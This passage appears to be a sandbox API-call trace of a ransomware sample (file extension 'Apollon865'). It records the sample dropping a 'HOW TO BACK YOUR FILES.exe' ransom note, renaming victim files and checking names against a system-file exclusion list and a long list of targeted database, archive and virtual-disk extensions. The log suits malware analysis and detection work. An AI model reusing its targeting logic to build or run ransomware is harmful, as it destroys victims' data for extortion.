	[0039.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0039.398] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\RAC\\StateData") returned 42
	[0039.398] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\StateData" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData"
	[0039.398] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.398] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.408] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.408] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f97e950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f97e950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.408] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.408] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.409] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="RacDatabase.sdf" | out: lpString1="RacDatabase.sdf") returned="RacDatabase.sdf"
	[0039.409] lstrlenW (lpString="RacDatabase.sdf") returned 15
	[0039.409] lstrlenW (lpString="Apollon865") returned 10
	[0039.409] lstrcmpiW (lpString1="tabase.sdf", lpString2="Apollon865") returned 1
	[0039.409] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf.Apollon865") returned 69
	[0039.409] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racdatabase.sdf"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racdatabase.sdf.apollon865"), dwFlags=0x1) returned 0
	[0039.409] GetLastError () returned 0x20
	[0039.409] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf MoveFileEx error 32\r\n") returned 88
	[0039.409] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf MoveFileEx error 32\r\n") returned 88
	[0039.409] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0039.409] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9ef
	[0039.409] WriteFile (in: hFile=0x154, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x58, lpOverlapped=0x0) returned 1
	[0039.409] CloseHandle (hObject=0x154) returned 1
	[0039.410] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0039.410] CloseHandle (hObject=0x0) returned 0
	[0039.410] CloseHandle (hObject=0x0) returned 0
	[0039.410] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0xbddddec0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="RACMET~1.DAT")) returned 1
	[0039.410] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.410] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="Apollon865.txt.exe") returned 1
	[0039.410] lstrcmpiW (lpString1="RacMetaData.dat", lpString2=".") returned 1
	[0039.410] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="..") returned 1
	[0039.410] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="windows") returned -1
	[0039.411] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="bootmgr") returned 1
	[0039.411] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="temp") returned -1
	[0039.411] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="pagefile.sys") returned 1
	[0039.411] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="boot") returned 1
	[0039.411] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="ids.txt") returned 1
	[0039.411] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="ntuser.dat") returned 1
	[0039.411] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="perflogs") returned 1
	[0039.411] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="MSBuild") returned 1
	[0039.411] lstrlenW (lpString="RacMetaData.dat") returned 15
	[0039.411] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 58
	[0039.411] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="RacMetaData.dat" | out: lpString1="RacMetaData.dat") returned="RacMetaData.dat"
	[0039.411] lstrlenW (lpString="RacMetaData.dat") returned 15
	[0039.411] lstrlenW (lpString="Apollon865") returned 10
	[0039.411] lstrcmpiW (lpString1="taData.dat", lpString2="Apollon865") returned 1
	[0039.411] lstrlenW (lpString=".dll") returned 4
	[0039.411] lstrcmpiW (lpString1="RacMetaData.dat", lpString2=".dll") returned 1
	[0039.411] lstrlenW (lpString=".lnk") returned 4
	[0039.411] lstrcmpiW (lpString1="RacMetaData.dat", lpString2=".lnk") returned 1
	[0039.411] lstrlenW (lpString=".ini") returned 4
	[0039.411] lstrcmpiW (lpString1="RacMetaData.dat", lpString2=".ini") returned 1
	[0039.411] lstrlenW (lpString=".sys") returned 4
	[0039.411] lstrcmpiW (lpString1="RacMetaData.dat", lpString2=".sys") returned 1
	[0039.411] lstrlenW (lpString="RacMetaData.dat") returned 15
	[0039.411] lstrlenW (lpString="bak") returned 3
	[0039.411] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1
	[0039.411] lstrlenW (lpString="ba_") returned 3
	[0039.411] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1
	[0039.411] lstrlenW (lpString="dbb") returned 3
	[0039.411] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1
	[0039.411] lstrlenW (lpString="vmdk") returned 4
	[0039.411] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1
	[0039.411] lstrlenW (lpString="rar") returned 3
	[0039.411] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1
	[0039.411] lstrlenW (lpString="zip") returned 3
	[0039.411] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1
	[0039.411] lstrlenW (lpString="tgz") returned 3
	[0039.412] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1
	[0039.412] lstrlenW (lpString="vbox") returned 4
	[0039.412] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1
	[0039.412] lstrlenW (lpString="vdi") returned 3
	[0039.412] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1
	[0039.412] lstrlenW (lpString="vhd") returned 3
	[0039.412] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1
	[0039.412] lstrlenW (lpString="vhdx") returned 4
	[0039.412] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1
	[0039.412] lstrlenW (lpString="avhd") returned 4
	[0039.412] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1
	[0039.412] lstrlenW (lpString="db") returned 2
	[0039.412] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0039.412] lstrlenW (lpString="db2") returned 3
	[0039.412] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1
	[0039.412] lstrlenW (lpString="db3") returned 3
	[0039.412] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1
	[0039.412] lstrlenW (lpString="dbf") returned 3
	[0039.412] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1
	[0039.412] lstrlenW (lpString="mdf") returned 3
	[0039.412] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1
	[0039.412] lstrlenW (lpString="mdb") returned 3
	[0039.412] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1
	[0039.412] lstrlenW (lpString="sql") returned 3
	[0039.412] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1
	[0039.412] lstrlenW (lpString="sqlite") returned 6
	[0039.412] lstrcmpiW (lpString1="ta.dat", lpString2="sqlite") returned 1
	[0039.412] lstrlenW (lpString="sqlite3") returned 7
	[0039.412] lstrcmpiW (lpString1="ata.dat", lpString2="sqlite3") returned -1
	[0039.412] lstrlenW (lpString="sqlitedb") returned 8
	[0039.412] lstrcmpiW (lpString1="Data.dat", lpString2="sqlitedb") returned -1
	[0039.412] lstrlenW (lpString="xml") returned 3
	[0039.412] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1
	[0039.412] lstrlenW (lpString="$er") returned 3
	[0039.412] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1
	[0039.412] lstrlenW (lpString="4dd") returned 3
	[0039.413] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1
	[0039.413] lstrlenW (lpString="4dl") returned 3
	[0039.413] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1
	[0039.413] lstrlenW (lpString="^^^") returned 3
	[0039.413] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1
	[0039.413] lstrlenW (lpString="abs") returned 3
	[0039.413] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1
	[0039.413] lstrlenW (lpString="abx") returned 3
	[0039.413] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1
	[0039.413] lstrlenW (lpString="accdb") returned 5
	[0039.413] lstrcmpiW (lpString1="a.dat", lpString2="accdb") returned -1
	[0039.413] lstrlenW (lpString="accdc") returned 5
	[0039.413] lstrcmpiW (lpString1="a.dat", lpString2="accdc") returned -1
	[0039.413] lstrlenW (lpString="accde") returned 5
	[0039.413] lstrcmpiW (lpString1="a.dat", lpString2="accde") returned -1
	[0039.413] lstrlenW (lpString="accdr") returned 5
	[0039.413] lstrcmpiW (lpString1="a.dat", lpString2="accdr") returned -1
	[0039.413] lstrlenW (lpString="accdt") returned 5
	[0039.413] lstrcmpiW (lpString1="a.dat", lpString2="accdt") returned -1
	[0039.413] lstrlenW (lpString="accdw") returned 5
	[0039.413] lstrcmpiW (lpString1="a.dat", lpString2="accdw") returned -1
	[0039.413] lstrlenW (lpString="accft") returned 5
	[0039.413] lstrcmpiW (lpString1="a.dat", lpString2="accft") returned -1
	[0039.413] lstrlenW (lpString="adb") returned 3
	[0039.413] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0039.413] lstrlenW (lpString="adb") returned 3
	[0039.413] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0039.413] lstrlenW (lpString="ade") returned 3
	[0039.413] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1
	[0039.413] lstrlenW (lpString="adf") returned 3
	[0039.413] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1
	[0039.413] lstrlenW (lpString="adn") returned 3
	[0039.413] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1
	[0039.413] lstrlenW (lpString="adp") returned 3
	[0039.413] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1
	[0039.413] lstrlenW (lpString="alf") returned 3
	[0039.414] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1
	[0039.414] lstrlenW (lpString="ask") returned 3
	[0039.414] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1
	[0039.414] lstrlenW (lpString="btr") returned 3
	[0039.414] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1
	[0039.414] lstrlenW (lpString="cat") returned 3
	[0039.414] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1
	[0039.414] lstrlenW (lpString="cdb") returned 3
	[0039.414] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1
	[0039.414] lstrlenW (lpString="ckp") returned 3
	[0039.414] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1
	[0039.414] lstrlenW (lpString="cma") returned 3
	[0039.414] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1
	[0039.414] lstrlenW (lpString="cpd") returned 3
	[0039.414] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1
	[0039.414] lstrlenW (lpString="dacpac") returned 6
	[0039.414] lstrcmpiW (lpString1="ta.dat", lpString2="dacpac") returned 1
	[0039.414] lstrlenW (lpString="dad") returned 3
	[0039.414] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1
	[0039.414] lstrlenW (lpString="dadiagrams") returned 10
	[0039.414] lstrcmpiW (lpString1="taData.dat", lpString2="dadiagrams") returned 1
	[0039.414] lstrlenW (lpString="daschema") returned 8
	[0039.414] lstrcmpiW (lpString1="Data.dat", lpString2="daschema") returned 1
	[0039.414] lstrlenW (lpString="db-journal") returned 10
	[0039.414] lstrcmpiW (lpString1="taData.dat", lpString2="db-journal") returned 1
	[0039.414] lstrlenW (lpString="db-shm") returned 6
	[0039.414] lstrcmpiW (lpString1="ta.dat", lpString2="db-shm") returned 1
	[0039.414] lstrlenW (lpString="db-wal") returned 6
	[0039.414] lstrcmpiW (lpString1="ta.dat", lpString2="db-wal") returned 1
	[0039.414] lstrlenW (lpString="dbc") returned 3
	[0039.414] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1
	[0039.414] lstrlenW (lpString="dbs") returned 3
	[0039.414] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1
	[0039.414] lstrlenW (lpString="dbt") returned 3
	[0039.414] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1
	[0039.414] lstrlenW (lpString="dbv") returned 3
	[0039.415] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1
	[0039.415] lstrlenW (lpString="dbx") returned 3
	[0039.415] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1
	[0039.415] lstrlenW (lpString="dcb") returned 3
	[0039.415] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1
	[0039.415] lstrlenW (lpString="dct") returned 3
	[0039.415] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1
	[0039.415] lstrlenW (lpString="dcx") returned 3
	[0039.415] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1
	[0039.415] lstrlenW (lpString="ddl") returned 3
	[0039.415] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1
	[0039.415] lstrlenW (lpString="dlis") returned 4
	[0039.415] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1
	[0039.415] lstrlenW (lpString="dp1") returned 3
	[0039.415] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1
	[0039.415] lstrlenW (lpString="dqy") returned 3
	[0039.415] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1
	[0039.415] lstrlenW (lpString="dsk") returned 3
	[0039.415] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1
	[0039.415] lstrlenW (lpString="dsn") returned 3
	[0039.415] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1
	[0039.415] lstrlenW (lpString="dtsx") returned 4
	[0039.415] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1
	[0039.415] lstrlenW (lpString="dxl") returned 3
	[0039.415] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1
	[0039.415] lstrlenW (lpString="eco") returned 3
	[0039.415] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1
	[0039.415] lstrlenW (lpString="ecx") returned 3
	[0039.415] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1
	[0039.415] lstrlenW (lpString="edb") returned 3
	[0039.415] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1
	[0039.415] lstrlenW (lpString="epim") returned 4
	[0039.415] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1
	[0039.415] lstrlenW (lpString="fcd") returned 3
	[0039.415] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1
	[0039.415] lstrlenW (lpString="fdb") returned 3
	[0039.415] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1
	[0039.416] lstrlenW (lpString="fic") returned 3
	[0039.416] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1
	[0039.416] lstrlenW (lpString="flexolibrary") returned 12
	[0039.416] lstrcmpiW (lpString1="MetaData.dat", lpString2="flexolibrary") returned 1
	[0039.416] lstrlenW (lpString="fm5") returned 3
	[0039.416] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1
	[0039.416] lstrlenW (lpString="fmp") returned 3
	[0039.416] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1
	[0039.416] lstrlenW (lpString="fmp12") returned 5
	[0039.416] lstrcmpiW (lpString1="a.dat", lpString2="fmp12") returned -1
	[0039.416] lstrlenW (lpString="fmpsl") returned 5
	[0039.416] lstrcmpiW (lpString1="a.dat", lpString2="fmpsl") returned -1
	[0039.416] lstrlenW (lpString="fol") returned 3
	[0039.416] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1
	[0039.416] lstrlenW (lpString="fp3") returned 3
	[0039.416] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1
	[0039.416] lstrlenW (lpString="fp4") returned 3
	[0039.416] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1
	[0039.416] lstrlenW (lpString="fp5") returned 3
	[0039.416] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1
	[0039.416] lstrlenW (lpString="fp7") returned 3
	[0039.416] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1
	[0039.416] lstrlenW (lpString="fpt") returned 3
	[0039.416] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1
	[0039.416] lstrlenW (lpString="frm") returned 3
	[0039.416] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1
	[0039.416] lstrlenW (lpString="gdb") returned 3
	[0039.416] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0039.416] lstrlenW (lpString="gdb") returned 3
	[0039.416] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0039.416] lstrlenW (lpString="grdb") returned 4
	[0039.416] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1
	[0039.416] lstrlenW (lpString="gwi") returned 3
	[0039.416] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1
	[0039.416] lstrlenW (lpString="hdb") returned 3
	[0039.416] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1
	[0039.417] lstrlenW (lpString="his") returned 3
	[0039.417] lstrcmpiW (lpString1="dat", lpString2="his") returned -1
	[0039.417] lstrlenW (lpString="ib") returned 2
	[0039.417] lstrcmpiW (lpString1="at", lpString2="ib") returned -1
	[0039.417] lstrlenW (lpString="idb") returned 3
	[0039.417] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1
	[0039.417] lstrlenW (lpString="ihx") returned 3
	[0039.417] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1
	[0039.417] lstrlenW (lpString="itdb") returned 4
	[0039.417] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1
	[0039.417] lstrlenW (lpString="itw") returned 3
	[0039.417] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1
	[0039.417] lstrlenW (lpString="jet") returned 3
	[0039.417] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1
	[0039.417] lstrlenW (lpString="jtx") returned 3
	[0039.417] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1
	[0039.417] lstrlenW (lpString="kdb") returned 3
	[0039.417] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1
	[0039.417] lstrlenW (lpString="kexi") returned 4
	[0039.417] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1
	[0039.417] lstrlenW (lpString="kexic") returned 5
	[0039.417] lstrcmpiW (lpString1="a.dat", lpString2="kexic") returned -1
	[0039.417] lstrlenW (lpString="kexis") returned 5
	[0039.417] lstrcmpiW (lpString1="a.dat", lpString2="kexis") returned -1
	[0039.417] lstrlenW (lpString="lgc") returned 3
	[0039.417] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1
	[0039.417] lstrlenW (lpString="lwx") returned 3
	[0039.417] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1
	[0039.417] lstrlenW (lpString="maf") returned 3
	[0039.417] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1
	[0039.417] lstrlenW (lpString="maq") returned 3
	[0039.417] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1
	[0039.417] lstrlenW (lpString="mar") returned 3
	[0039.417] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1
	[0039.417] lstrlenW (lpString="marshal") returned 7
	[0039.417] lstrcmpiW (lpString1="ata.dat", lpString2="marshal") returned -1
	[0039.418] lstrlenW (lpString="mas") returned 3
	[0039.418] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1
	[0039.418] lstrlenW (lpString="mav") returned 3
	[0039.418] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1
	[0039.418] lstrlenW (lpString="maw") returned 3
	[0039.418] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1
	[0039.418] lstrlenW (lpString="mdbhtml") returned 7
	[0039.418] lstrcmpiW (lpString1="ata.dat", lpString2="mdbhtml") returned -1
	[0039.418] lstrlenW (lpString="mdn") returned 3
	[0039.418] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1
	[0039.418] lstrlenW (lpString="mdt") returned 3
	[0039.418] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1
	[0039.418] lstrlenW (lpString="mfd") returned 3
	[0039.418] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1
	[0039.418] lstrlenW (lpString="mpd") returned 3
	[0039.418] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1
	[0039.418] lstrlenW (lpString="mrg") returned 3
	[0039.418] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1
	[0039.418] lstrlenW (lpString="mud") returned 3
	[0039.418] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1
	[0039.418] lstrlenW (lpString="mwb") returned 3
	[0039.418] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1
	[0039.418] lstrlenW (lpString="myd") returned 3
	[0039.418] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1
	[0039.418] lstrlenW (lpString="ndf") returned 3
	[0039.418] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1
	[0039.418] lstrlenW (lpString="nnt") returned 3
	[0039.418] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1
	[0039.418] lstrlenW (lpString="nrmlib") returned 6
	[0039.418] lstrcmpiW (lpString1="ta.dat", lpString2="nrmlib") returned 1
	[0039.418] lstrlenW (lpString="ns2") returned 3
	[0039.418] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1
	[0039.418] lstrlenW (lpString="ns3") returned 3
	[0039.418] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1
	[0039.418] lstrlenW (lpString="ns4") returned 3
	[0039.418] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1
	[0039.419] lstrlenW (lpString="nsf") returned 3
	[0039.419] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1
	[0039.419] lstrlenW (lpString="nv") returned 2
	[0039.419] lstrcmpiW (lpString1="at", lpString2="nv") returned -1
	[0039.419] lstrlenW (lpString="nv2") returned 3
	[0039.419] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1
	[0039.419] lstrlenW (lpString="nwdb") returned 4
	[0039.419] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1
	[0039.419] lstrlenW (lpString="nyf") returned 3
	[0039.419] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1
	[0039.419] lstrlenW (lpString="odb") returned 3
	[0039.419] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0039.419] lstrlenW (lpString="odb") returned 3
	[0039.419] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0039.419] lstrlenW (lpString="oqy") returned 3
	[0039.419] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1
	[0039.419] lstrlenW (lpString="ora") returned 3
	[0039.419] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1
	[0039.419] lstrlenW (lpString="orx") returned 3
	[0039.419] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1
	[0039.419] lstrlenW (lpString="owc") returned 3
	[0039.419] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1
	[0039.419] lstrlenW (lpString="p96") returned 3
	[0039.419] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1
	[0039.419] lstrlenW (lpString="p97") returned 3
	[0039.419] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1
	[0039.419] lstrlenW (lpString="pan") returned 3
	[0039.419] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1
	[0039.419] lstrlenW (lpString="pdb") returned 3
	[0039.419] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1
	[0039.419] lstrlenW (lpString="pdm") returned 3
	[0039.419] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1
	[0039.419] lstrlenW (lpString="pnz") returned 3
	[0039.419] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1
	[0039.419] lstrlenW (lpString="qry") returned 3
	[0039.419] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1
	[0039.419] lstrlenW (lpString="qvd") returned 3
	[0039.420] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1
	[0039.420] lstrlenW (lpString="rbf") returned 3
	[0039.420] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1
	[0039.420] lstrlenW (lpString="rctd") returned 4
	[0039.420] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1
	[0039.420] lstrlenW (lpString="rod") returned 3
	[0039.420] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1
	[0039.420] lstrlenW (lpString="rodx") returned 4
	[0039.420] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1
	[0039.420] lstrlenW (lpString="rpd") returned 3
	[0039.420] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1
	[0039.420] lstrlenW (lpString="rsd") returned 3
	[0039.420] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1
	[0039.420] lstrlenW (lpString="sas7bdat") returned 8
	[0039.420] lstrcmpiW (lpString1="Data.dat", lpString2="sas7bdat") returned -1
	[0039.420] lstrlenW (lpString="sbf") returned 3
	[0039.420] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1
	[0039.420] lstrlenW (lpString="scx") returned 3
	[0039.420] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1
	[0039.420] lstrlenW (lpString="sdb") returned 3
	[0039.420] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1
	[0039.420] lstrlenW (lpString="sdc") returned 3
	[0039.420] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1
	[0039.420] lstrlenW (lpString="sdf") returned 3
	[0039.420] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1
	[0039.420] lstrlenW (lpString="sis") returned 3
	[0039.420] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1
	[0039.420] lstrlenW (lpString="spq") returned 3
	[0039.420] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1
	[0039.420] lstrlenW (lpString="te") returned 2
	[0039.420] lstrcmpiW (lpString1="at", lpString2="te") returned -1
	[0039.420] lstrlenW (lpString="teacher") returned 7
	[0039.420] lstrcmpiW (lpString1="ata.dat", lpString2="teacher") returned -1
	[0039.420] lstrlenW (lpString="tmd") returned 3
	[0039.420] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1
	[0039.420] lstrlenW (lpString="tps") returned 3
	[0039.420] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1
	[0039.421] lstrlenW (lpString="trc") returned 3
